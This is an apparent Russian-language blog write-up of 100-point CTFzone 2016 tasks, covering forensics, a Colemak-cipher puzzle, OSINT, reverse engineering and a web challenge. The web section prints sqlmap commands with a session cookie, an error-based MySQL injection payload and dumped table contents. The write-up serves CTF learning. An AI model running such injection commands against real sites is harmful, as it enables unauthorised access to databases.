Продолжаем цикл статей, посвященный райтапу по CTFzone, который проходил 17 и 18 ноября в рамках ZeroNights2016 под флагом Bi.Zone. В этот раз мы поговорим о заданиях, выполнение которых приносило по 100 очков в пользу реальных хакеров!

Предыдущие публикации из данного цикла

Отдельное спасибо GH0st3rs за предоставленные райтапы некоторых заданий.

FORENSIC100 — Master of Strings

Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A.U.R.O.R.A. is speaking and it’s time you stopped sleeping at your workplace. You can’t idle your time anymore as the whole world might go down the drain unless, well… Let's say it’s time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!

К заданию прилагался 7z архив с файлом '.RAM' внутри. Логично, что необходимо анализировать слепок ОЗУ. Было принято решение смотреть в сторону 'Volatility'. Ещё раз (два/три) прочитав задание и пролистав Wiki по Volatility, можно было заметить раздел «Strings» и увидеть ссылку на SysInternals Strings. Разумеется, её мы и используем:

strings.exe task_forensic_100.ram > output

Получаем output на ~70МБ из строк UNICODE длиной более 3 символов (по-умолчанию). Открыв его текстовым редактором, я отправился на поиски флага, — «А вдруг?». Каково же было моё удивление:


Как потом оказалось: мой вариант получения флага оказался не таким, каким его планировал «автор». Ну, что же, может быть так даже лучше.

MISC100 — Nerdy Mechanic

A.U.R.O.R.A.: Lieutenant, let me introduce you to Sergeant Varvara. She needs your help.
Sergeant Varvara: Lieutenant, this terminal is not working. I entered my request but there is some gibberish on the screen. Our air mechanic was the last to work on this terminal. Would you take a look?

Ниже нам предоставляют тот самый «кривой» вывод из терминала:

why
ir -iagp
irbie -t
cifap
iw;-pfqlfrg -sfm DFG gukjlpi.cym/dnwalwbw
pfrfg

Что же с этим делать? Давайте посмотрим внимательнее: конец пятой строки очень напоминает ссылку. Однако, нужно заменить: 'y' -> 'o'. Тогда и в первой строке 'why' превращается в 'who' — Ага! — очевидно, что это интерпретатор Bash. Может в этом задании и была некая логика подмены букв, однако набросав простенький скрипт в Python методом проб, решение пришло само собой:

print(text.replace('y','o').replace('j','y').replace('n','j').replace('k','n').replace('u','v').replace('l','u').replace('i','l').replace('r','s').replace('e','k').replace('f','e').replace('p','r').replace('g','t').replace('G','T').replace(';','p').replace('d','g').replace('D','G').replace('F','E').replace('v','i'))

В итоге получилось следующее:

who 
ls -latr 
lsblk -t 
clear 
lwp-request -sem GET tinyurl.com/gjwauwbw 
reset

Переходим по ссылке и видим флаг: ctfzone{182ac24a3b2dc86ba298f57d9c391c0b}

P.S. > Из источников стало известно, что оригинальный алгоритм замены букв в данном шифротексте — использование Colemak.

WEB100 — Search Engine

Lieutenant (You): A.U.R.O.R.A., I’m in the SNT-47 compartment, in the general-purpose room. Thermal signatures are missing. I need to find a way to connect to the ship communications and it’s urgent, what should I do?
A.U.R.O.R.A.: Welcome to the information retrieval system A.U.R.O.R.A. Please name your identification number.
You: What identification number?! Are you broken as well?? Let's see what you have inside if I don’t want to stay here forever...

К заданию прилагалась ссылка на сайт с формой авторизации:



С чего начать? Правильно: с поиска по исходному коду страницы. Идём туда и наблюдаем:

<script src=/static/js/pewpew.js type="text/javascript"></script>

Открываем, смотрим:


    if ('s3cr3tuser' === $(ctrls[0]).find('input').val()
     && 'v3rySTr0ngP@ss' === $(ctrls[1]).find('input').val()) {

Невооруженным взглядом мы понимаем что к чему. Возвращаемся на форму авторизации и идём дальше. Перед нами открывается страница с единственной строкой поиска. «А не SQLi ли здесь часом?», — должно послышаться в голове. Идём проверять: бинго!


Что же, расчехляем старый добрый SqlMap (конечно, можно и руками). Не забываем о том, что мы произвели авторизацию => нужно указать Cookies. В целях экономии местного пространства «вывод» не полный:

root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL --tables

Вывод команды
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://78.155.219.6:80/search/param1'||(SELECT 'bGEm' FROM DUAL WHERE 8985=8985 AND (SELECT 1912 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(1912=1912,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
---
[18:30:29] [INFO] testing MySQL
[18:30:29] [INFO] confirming MySQL
[18:30:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[18:30:29] [INFO] fetching database names
[18:30:29] [INFO] the SQL query used returns 5 entries
[18:30:29] [INFO] resumed: information_schema
[18:30:29] [INFO] resumed: mysql
[18:30:29] [INFO] resumed: performance_schema
[18:30:29] [INFO] resumed: sqli_100
[18:30:29] [INFO] resumed: sys
[18:30:29] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sqli_100, sys'
[18:30:29] [INFO] the SQL query used returns 282 entries


root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" --columns

Вывод команды
Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| id | int(5) |
| secret | varchar(500) |
+--------+--------------+


root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" -C "secret" --dump

Вывод команды
Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[13 entries]
+-----------------------------------------+
| secret |
+-----------------------------------------+
| 089b1d5d37c22d81b55b6f77c9e2b042 |
| asdkkjhjsdaojewifdiowuefdw0 |
| asdkkjhjsdaojewifdiowuefdw0 |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
+-----------------------------------------+


Нас просят не забывать формат флага, ведь он в этой таблице. А вот и он:

ctfzone{089b1d5d37c22d81b55b6f77c9e2b042}

OSINT100 — Weird Guy

A.U.R.O.R.A.: Lieutenant, our agents sneaked in Cosmos hotel and witnessed the preparations for ZERONIGHTS 2016. Everyone was busy installing their stands and making photos. There was a weird guy in the hall who was absorbed in reading something on his laptop. We couldn’t figure out who was this guy but we need to know what he was looking at the screen. This photo might help you.

К заданию прилагалась фотография:


На фото мы можем наблюдать как селфятся один человек фотографирует другого, а также заметить, что требуемый экран попадает в область фотографии. Задача ясна: необходимо найти фото с правильного ракурса. Учитывая, что данный CTF носит интернациональный характер задаёмся вопросом: «Какой сайт нам нужен?». Правильно — Instagram. Далее, эта задача имела бы два решения:

  • Осознавая, что фотосъемка происходила в рамках ZeroNights2016 на территории ГК «Космос» — использовать поиск по ГеоТегам. К сожалению, данный момент отказался работать, по причине неопределённых изменений в Instagram API;
  • Методом проб и ошибок перебирать все #хештеги, каким-то образом связанные с CTF, Bi.Zone или ZeroNights в целом.

Спустя некоторое время (используя второй способ) искомый хештег был найден: #zn2016. А вот и искомая фотография:



Флаг: ctfzone{Os1nT_G4nGsT3r}

REVERSE100 — The Doors Of Dorun

**A.U.R.O.R.A.: ** Lieutenant, your co-pilot was abducted by aliens and put into prison. They are out hunting now and it’s your chance to set him free! He is held behind the Doors, the jambs invisible to the eye, and matched so perfectly with the metal bulkhead that when closed the Doors could not be seen.
The inscription on the archivolt read:
«The Doors of Dorun, Lord of Omega. Speak, friend, and enter. I, Norvy, made them. Calabrimbor of Alpha Centauri drew these signs».
But be careful and hurry up. They can be back any moment.

К заданию прилагался файл, при запуске которого появлялось окно с полем для ввода пароля. Если пароль неверен, то следовала ошибка:


Ну-с, хорошо, вывернем наизнанку! Дизассемблируем и вновь видим, уже знакомую нам из прошлого задания (REVERSE50), функцию: DialogFunc, по смещению: 13F7C1040. Смотрим далее и находим:


На данном участке кода происходит получение введённого пароля, а затем передача его в функцию (назовём её: PassVerify), и в случае неверного результата:

jz short loc_13F7C1126

переносит нас на участок кода, сигнализирующий об ошибке:


Перейдем в функцию: PassVerify и посмотрим, что же там происходит. Видим проверку длины, введённой нами фразы – 4 символа.


Затем, пароль разбивается на 2 части по 2 символа:


Далее начинается заполнение стека значениями для сверки. И, начиная с адреса: 13F7C1330, начинается сама проверка введённого пароля:


Воспользуемся плагином HexRays и получим вот такой код:


Итак, что мы имеем? В «v3» находится первая часть пароля, а в «v5» — вторая. Если преобразовать данный цикл, то получится вот такое условие (Python):

v8 = [0, 0, 1, 241, 995, 0, 1, 4, 6, 104, 413, 0]
if (v3%3==v8[0] and v3%5==v8[1] and v3%17==v8[2] and v3%257==v8[3] and v3%65537==v8[4]) or (v5%3==v8[6] and v5%5==v8[7] and v5%17==v8[8] and v5%257==v8[9] and v5%65537==v8[10])

Вариант решения данного уравнения каждый выбирал для себя. Однако, мы не ищем лёгких путей и воспользуемся китайской теоремой об остатках (скрипт которой остался ещё с NeoQuest2016):

Китайская теорема об остатках. Реализация: Python
def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
 
    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a / b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1


Используем:

hex(chinese_remainder([3,5,17,257,65537],[v8[0],v8[1],v8[2],v8[3],v8[4]]))

Вывод: 0xa028a40b

Используем:

hex(chinese_remainder([3,5,17,257,65537],[v8[6],v8[7],v8[8],v8[9],v8[10]]))

Вывод: 0xa288a425

Мы получили коды символов. Следующим шагом будет посещение данного сайта и поиск соответствующих символов по известным HEX значениям. Получаем: ????. Пробуем данный пароль — Profit!





  Мы будем продолжать данный цикл статей, где рассмотрим решения остальных заданий CTFzone 2016.
  Оставайтесь с нами!
Поделиться с друзьями
-->

Комментарии (6)


  1. GH0st3rs
    23.11.2016 01:08

    hackzard без проблем.


  1. briskly
    23.11.2016 01:11

    В misc-100 на самом деле, это colemak


  1. Bluewolf
    23.11.2016 11:39
    +1

    Врайтап, о б-же.


  1. Miay
    23.11.2016 22:23

    А что, где-то есть вариант который позволяет попробовать свои силы на этих тасках? ()


    1. hackzard
      23.11.2016 22:23

      Задания будут ещё некоторое время доступны по этой ссылке


    1. GH0st3rs
      23.11.2016 22:29

      Таких вариантов полно. CTF чуть ли не каждую неделю проходят. 25.11 будет 10 лаба от PentestIT. Тоже как вариант